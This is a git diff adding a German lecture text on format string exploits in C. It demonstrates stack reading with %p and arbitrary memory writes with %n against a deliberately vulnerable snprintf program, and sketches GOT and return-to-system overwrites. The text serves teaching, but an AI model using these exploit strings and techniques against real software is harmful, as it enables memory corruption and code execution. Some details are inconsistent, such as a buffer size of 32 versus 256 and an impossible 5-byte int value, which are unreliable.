diff options
Diffstat (limited to 'stories/poetry/MeinVortrag/Vortrag-FormatStrings')
-rw-r--r-- | stories/poetry/MeinVortrag/Vortrag-FormatStrings | 367 |
1 files changed, 367 insertions, 0 deletions
diff --git a/stories/poetry/MeinVortrag/Vortrag-FormatStrings b/stories/poetry/MeinVortrag/Vortrag-FormatStrings new file mode 100644 index 0000000..7d6b591 --- /dev/null +++ b/stories/poetry/MeinVortrag/Vortrag-FormatStrings | |||
@@ -0,0 +1,367 @@ | |||
1 | Format String Exploits: | ||
2 | |||
3 | Heisst grundsaetzlich, die Eigenschaft der | ||
4 | f/s(n)printf/scanf - Funktionsfamilie | ||
5 | auszunutzen, dass sie eine va_args-liste | ||
6 | zum Uebergeben der Parameter und einen | ||
7 | String zum Beschreiben der Anzahl und Art | ||
8 | der Parameter benutzt. | ||
9 | |||
10 | syntax: | ||
11 | |||
12 | printf( char *format, param1, param2, ... ) | ||
13 | |||
14 | Wenn man einen C-Kurs mitmacht, wird einem | ||
15 | vermittelt, dass man in den Formatstring | ||
16 | eintragen soll, welche Paramater die printf | ||
17 | Funktion bekommen wird und wenn es | ||
18 | Inkonsistenzen zwischen dem Formatstring und | ||
19 | den Paramtern gibt, stuerzt das Programm ab. | ||
20 | Und genau an der Stelle beginnt der spannende | ||
21 | Part: wenn ein Programm abstuerzt, | ||
22 | wurde sicher Speicher der Applikation ueber- | ||
23 | schrieben und Ziel des Spiels ist es nun, zu | ||
24 | versuchen, gezielt Speicher mit uns geneigten | ||
25 | Werten zu ueberschreiben. Und unter uns: sooo | ||
26 | schnell schiesst man ein Programm nicht ab :) | ||
27 | Also schauen wir uns mal einen validen Aufruf | ||
28 | der Funktion an: | ||
29 | |||
30 | int main( ) { | ||
31 | int a, b; | ||
32 | a = 7; | ||
33 | b = 9; | ||
34 | |||
35 | printf( "%d %d\n", a, b ); | ||
36 | return 0; | ||
37 | } | ||
38 | |||
39 | In optimiertem Assembler sieht das so aus: | ||
40 | |||
41 | .LC0: | ||
42 | .string "%d %d\n" | ||
43 | main: | ||
44 | [ ... ] | ||
45 | pushl $9 | ||
46 | pushl $7 | ||
47 | pushl $.LC0 | ||
48 | call printf | ||
49 | [ ... ] | ||
50 | |||
51 | Dort steht, dass erst b und a auf den Stack | ||
52 | geschoben werden, danach die Adresse des | ||
53 | Formatstrings und schliesslich printf aufgerufen | ||
54 | wird. | ||
55 | |||
56 | In C ist es generell nicht der Fall, dass | ||
57 | Funktionen ueber die Parameter informiert werden, | ||
58 | die sie auf dem Stack erhalten, das geben sie | ||
59 | naemlich beim Compilen an und erwarten dann auf | ||
60 | dem Stack auch genau diese Parameter vorzufinden. | ||
61 | |||
62 | Einzige Ausnahme bildet ein Konstrukt namens | ||
63 | va. Das bedeutet "Varibale Argumentenliste". Die | ||
64 | Funktion printf arbeitet dann auch wie folgt: | ||
65 | |||
66 | int printing( const char *fmt, ...) { | ||
67 | va_list ap; | ||
68 | char output[1024]; | ||
69 | |||
70 | va_start(ap, fmt); | ||
71 | |||
72 | while( *fmt ) { | ||
73 | if( *fmt != '%' ) { | ||
74 | putc( *fmt++ ); | ||
75 | } else { /* Parameter substituieren */ | ||
76 | switch( *++fmt ) { | ||
77 | case 'd': | ||
78 | int a = va_arg( ap, int ); | ||
79 | /* Zahl a ausgeben */ | ||
80 | break; | ||
81 | case 's': | ||
82 | char *s = va_arg( ap, char *); | ||
83 | /* String ausgeben */ | ||
84 | .... | ||
85 | } | ||
86 | } | ||
87 | |||
88 | va_end(ap); | ||
89 | } | ||
90 | |||
91 | Hinter der ganzen vargs Magie verbergen sich aber | ||
92 | nur diese drei (jetzt mal von mir leicht | ||
93 | vereinfachten) Makros: | ||
94 | |||
95 | #define va_start(ap, var) ((ap) = (va_list)&var) | ||
96 | |||
97 | #define va_arg(ap, type) *(((type *)ap++)) | ||
98 | |||
99 | #define va_end(ap) | ||
100 | |||
101 | In Wirklichkeit wird da noch ein wenig am Alignment | ||
102 | der Variablen geschraubt, aber im Groben stellt dies | ||
103 | schon dar, wie variable Argumentlisten behandelt | ||
104 | werden: printf holt einfach vom Stack ab, egal, ob da | ||
105 | was drauf steht, oder nicht. | ||
106 | |||
107 | Was drauf stehen tut aber immer, naemlich Ruecksprung- | ||
108 | adressen und der Stack der aufrufenden Funktionen. | ||
109 | Und das koennen wir uns mal angucken: | ||
110 | |||
111 | int main( ) { | ||
112 | int a = 0x23232323; | ||
113 | |||
114 | printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n"); | ||
115 | return 0; | ||
116 | } | ||
117 | Liefert einen output von: | ||
118 | |||
119 | 0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1 | ||
120 | |||
121 | Und gugge da: wir erkennen doch da glatt unser | ||
122 | nicht ganz zufaellig gewaehltes a wieder. | ||
123 | |||
124 | %p ist der Bezeichner fuer einen ganz normalen | ||
125 | pointer, also 4 bytes, die vom Stack geholt | ||
126 | und in der 0xn Notation angezeigt werden. | ||
127 | |||
128 | Aber printf kann mehr: | ||
129 | |||
130 | int a; | ||
131 | |||
132 | printf ( "Ich bin 23 Zeichen lang%n\n", &a); | ||
133 | printf ( "Und printf hat's gezaehlt: %d", a); | ||
134 | |||
135 | Liefert als Ausgabe: | ||
136 | |||
137 | Ich bin 23 Zeichen lang | ||
138 | Und printf hat's gezaehlt: 23 | ||
139 | |||
140 | Was ist passiert? Printf erwartet bei einem %n, dass | ||
141 | auf dem Stack der Zeiger auf ein int liegt, in das | ||
142 | er die Anzahl der in diesem Funktionsaufruf | ||
143 | ausgegebnen Zeichen schreibt. Nicht auszumalen, was | ||
144 | passiert, wenn auf dem Stack gar keine solide Adresse | ||
145 | liegt :) | ||
146 | |||
147 | Printf bietet uns also einen ganz soliden Weg, den | ||
148 | Stack zu inspizieren und aktiv Speicher zu veraendern. | ||
149 | Bliebe die Frage, warum sollte uns ein Programm den | ||
150 | Weg ebnen, den Formatstring selbst zu waehlen. Da gibt | ||
151 | es zwei Erklaerungen: | ||
152 | 1. bieten einige Programme fuer formatierte Textausgabe | ||
153 | dem Benutzer an, selber Formatstrings anzugeben. | ||
154 | Dies ist aber nicht so spannend, da der String | ||
155 | meist sehr genau geprueft wird, allerdings gibt es | ||
156 | einen exploit fuer den Mail-Reader mutt, der genau | ||
157 | ueber einen solchen Formatierungsstring anfaellig | ||
158 | war | ||
159 | 2. Ist es dem printf egal, ob man ihm nun wirklich einen | ||
160 | Zeiger auf den Formatstring gegeben hat, oder den | ||
161 | Zeiger auf IRGENDEINEN String, der ausgegeben werden | ||
162 | soll. Typischer BASIC Programmierstil ist: | ||
163 | |||
164 | A = "Hallo" | ||
165 | PRINT A | ||
166 | |||
167 | in C: | ||
168 | |||
169 | char *a = "Hallo"; | ||
170 | printf( a ); | ||
171 | |||
172 | funktioniert auch hervorragend, solange der String | ||
173 | a keine printf - control characters, naemlich "%"'s | ||
174 | enthaelt. | ||
175 | |||
176 | Genug der Theorie, in der Praxis sieht sowas dann ganz | ||
177 | schlicht so aus: | ||
178 | |||
179 | int main( int argc, char **argv ) { | ||
180 | char buffer[ 256 ]; | ||
181 | |||
182 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
183 | |||
184 | return 0; | ||
185 | } | ||
186 | |||
187 | Man beachte, dass der Programmierer sich grosse Muehe | ||
188 | gegeben hat, buffer-overflows zu vermeiden, indem er | ||
189 | sichere Variante von sprintf, das snprintf benutzt hat, | ||
190 | damit auch wirklich maximal 32 bytes in den Buffer | ||
191 | gelangen. Allerdings hat er beim String, der geschrieben | ||
192 | werden soll, geschlampt: die Zeile muesste richtig lauten | ||
193 | |||
194 | snprintf( buffer, sizeof buffer, "%s", argv[1] ); | ||
195 | |||
196 | Nun, was tut dieses Funktion? Schreibt in den Buffer mit | ||
197 | maximal 32 Zeichen den String argv[1], also das erste | ||
198 | Kommandozeilenargument der Funktion. Aber tut es das auch | ||
199 | wirklich? Nur, wie gesagt, solange im String keine '%' | ||
200 | stehen, aber solche Zeichen in die Kommandozeile einzu- | ||
201 | tippern kriegen wir doch noch hin :) | ||
202 | |||
203 | Es gibt noch das kleine Problem, dass der Printf halt in | ||
204 | einen Buffer und nicht auf den Screen schreibt, das laesst | ||
205 | sich aber leicht loesen, indem wir entweder einen Debugger | ||
206 | benutzen, um den Inhalt des Buffers auszulesen, oder ein- | ||
207 | fach wieder printf dafuer benutzen, sieht dann so aus: | ||
208 | |||
209 | int main( int argc, char **argv ) { | ||
210 | int test = 0x23232323; | ||
211 | char buffer[ 256 ]; | ||
212 | |||
213 | printf( "test auf: %p\n", &test ); | ||
214 | printf( "test enthaelt: %x\n\n", test); | ||
215 | |||
216 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
217 | |||
218 | printf( "%s\n", buffer); | ||
219 | printf( "test enthaelt: %x\n\n", test); | ||
220 | |||
221 | return 0; | ||
222 | } | ||
223 | |||
224 | Ich habe nun noch eine Variable eingefuegt, an der wir | ||
225 | ein wenig rumspielen wollen: Dessen Adresse wuerde man | ||
226 | wieder mit einem debugger herausfinden, hier benutz ich | ||
227 | printf, auch den aktuellen Wert geb ich einmal vor und | ||
228 | einmal nach der "Attacke" aus. | ||
229 | Das compilete Programm wirft mir folgendes raus: | ||
230 | |||
231 | # ./vuln Probierung | ||
232 | test auf: 0xbfbff6d4 | ||
233 | test enthaelt: 0x23232323 | ||
234 | |||
235 | Probierung | ||
236 | test enthaelt: 0x23232323 | ||
237 | |||
238 | Nuescht besonderes. Probieren wir nun mal ein bisschen | ||
239 | mit den Formatstrings rum: | ||
240 | |||
241 | # ./vuln "AAAA%p %p %p %p %p %p %p %p %p" | ||
242 | test auf: 0xbfbff6c0 | ||
243 | test enthaelt: 0x23232323 | ||
244 | |||
245 | AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666 | ||
246 | test enthaelt: 0x23232323 | ||
247 | |||
248 | Als erstes sehen wir, dass sich die Adressse von test | ||
249 | (das sich ja im Stack befindet) variiert. Das liegt | ||
250 | daran, dass die Kommandozeilenparameter im Stack abgelegt | ||
251 | werden. Wir koennen aber mit Anfuerungszeichen und vielen | ||
252 | Spaces ueber die gesamte Testphase fuer einen konstanten | ||
253 | offset sorgen. | ||
254 | Zweitens liegt, wie eben erwaehnt, auch der Format-String | ||
255 | nocheinmal im Stack weiter oben rum, die 0x41414141 sind | ||
256 | unsere AAAA in der Kommandozeile. | ||
257 | |||
258 | Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin | ||
259 | entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer | ||
260 | weniger und tun dafuer ein %n hin: | ||
261 | |||
262 | # ./test "AAAA%p %p %p %p %p %p%n %p %p" | ||
263 | test auf: 0xbfbff6c0 | ||
264 | test enthaelt: 0x23232323 | ||
265 | |||
266 | Segmentation fault (core dumped) | ||
267 | |||
268 | Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt | ||
269 | nicht mit den Formatstrings rum. Aber was genau hab ich jetzt | ||
270 | kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n | ||
271 | vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau | ||
272 | bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als | ||
273 | naechstes 0x41414141. Und dieser Wert wird ja nun bei einem | ||
274 | %n als Adresse einer int interpretiert, an die der aktuelle | ||
275 | Character-Count geschrieben werden soll. Und an 0x41414141 | ||
276 | befindet sich kein lesbarer Speicher. Also kein Geheimnis. | ||
277 | Aber wer jetzt einen Exploit entdeckt hat, soll sich mal | ||
278 | melden. Genau... die 0x41414141 kommt ja direkt aus unserem | ||
279 | Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege | ||
280 | da jetzt naeher, dort mal eine valide Adresse hinzuschreiben? | ||
281 | Wir haetten da sogar noch eine ueber: | ||
282 | 0xbfbff6c0 | ||
283 | Da liegt naemlich die Variable test und es ist sogar eine int. | ||
284 | Als String sieht die Adresse so aus: Àö¿¿ | ||
285 | Ungewoehnlich, aber wat solls, solange kein % und kein \000 | ||
286 | dabei ist, soll uns das nicht stoeren :) | ||
287 | Wir probieren das einfach mal aus: | ||
288 | |||
289 | # ./vuln "Àö¿¿%p %p %p %p %p %p%n %p %p" | ||
290 | test auf: 0xbfbff6c0 | ||
291 | test enthaelt: 0x2323232323 | ||
292 | |||
293 | Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666 | ||
294 | test enthaelt: 0x42 | ||
295 | |||
296 | An der Stelle, wo da zwei Leerzeichen hintereinander sind, | ||
297 | wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt | ||
298 | 0x42. | ||
299 | |||
300 | Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum | ||
301 | Doppelleerzeichen 66 ausgegebene Characters. | ||
302 | |||
303 | Wir haben es also geschafft, an eine beliebige Adresse einen | ||
304 | leider noch einigermassen zufaelligen Wert zu schreiben, das | ||
305 | soll sich jetzt aendern. Was wir brauchen, ist eine wohl- | ||
306 | bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden. | ||
307 | Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen, | ||
308 | damit wir mit ihnen rechnen koennen. Dat jeht so: | ||
309 | |||
310 | # ./vuln "Àö¿¿%8p%8p%8p%8p%8p%8p%n%p%p " | ||
311 | test auf: 0xbfbff6c0 | ||
312 | test enthaelt: 0x23232323 | ||
313 | |||
314 | Àö¿¿0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666 | ||
315 | test enthaelt: 0x3D | ||
316 | |||
317 | und mit der letzten koennen wir noch ein wenig spielen: | ||
318 | |||
319 | ./test "°ö¿¿%8p%8p%8p%8p%111638553p%999999999p%n " | ||
320 | test auf: 0xbfbff6b0 | ||
321 | test enthaelt: 0x23232323 | ||
322 | |||
323 | °ö¿¿0x1bff5c80xbfbff60c0x2804d7990x8048337 | ||
324 | test enthaelt: 0x42424242 | ||
325 | |||
326 | Ich musste fuer die grossen Zahlen leider noch ein wenig an der | ||
327 | Adresse von test rumspielen, aber im Prinzip ist zu erkennen, | ||
328 | dass ich an jede Adresse jeden Wert schreiben kann. Was habe | ||
329 | ich getan? Man kann fuer Zahlenkonvertierungen in printf eine | ||
330 | width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt | ||
331 | wird, wenn die Zahl nicht breit genug wird. Und das koennen nu | ||
332 | auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man | ||
333 | auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn | ||
334 | man mal eine valide Adresse wohin schreiben will. Und netterweise | ||
335 | liefert printf nun auch nicht die Zahl der geschriebenen Zeichen, | ||
336 | sondern die der "theoretisch" geschriebenen in %n zurueck, was | ||
337 | dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen... | ||
338 | |||
339 | Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen, | ||
340 | man uebergibt diesen einfach mit im Formatstring und kann die | ||
341 | Einsprungadresse punktgenau auf den Stack werfen. Waere aber | ||
342 | eigentlich eine Schande, denn Formatstringexploits sind so fili- | ||
343 | gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen | ||
344 | return adressen eigentlich nur raten. | ||
345 | |||
346 | Viel eleganter ist es, die GOT des binaries zu veraendern. | ||
347 | Dies ist die global object table, und dort hinein kommen fuer | ||
348 | alle Funktionen, die aus Libraries eingebunden werden, die | ||
349 | Adressen. Der Vorteil ist, dass bei fast allen Standard- | ||
350 | anwendungen die GOT ungefaehr gleich aussieht. Wenn man die | ||
351 | Adresse des fopen-calls einfach mit der des system-calls ueber- | ||
352 | schreibt, koennte man einen Teil des formatstrings glatt von | ||
353 | einer Shell interpretieren lassen. | ||
354 | |||
355 | Dies ist insoweit im Moment spannend, da ernsthaft damit ange- | ||
356 | fangen wird, den Stack non-executable zu mappen und damit buffer | ||
357 | overflows und darin befindlicher Shellcode zu verhindern. | ||
358 | |||
359 | Dies liesse noch Spielraum fuer eine weitere Option, naemlich | ||
360 | die Ruecksprungadresse der printf-aufrufenden Funktion zu | ||
361 | ueberschreiben und zwar mit der Einsprungadresse von system, | ||
362 | wenn man davor eine Adresse irgendwo im eigenen Formatstring | ||
363 | hinpackt, kann man den Formatstring wie folgt gestalten: | ||
364 | |||
365 | "/../../../../../../../../../bin/sh" | ||
366 | |||
367 | die ../'s sind naemlich eigentlich auch NOPs. | ||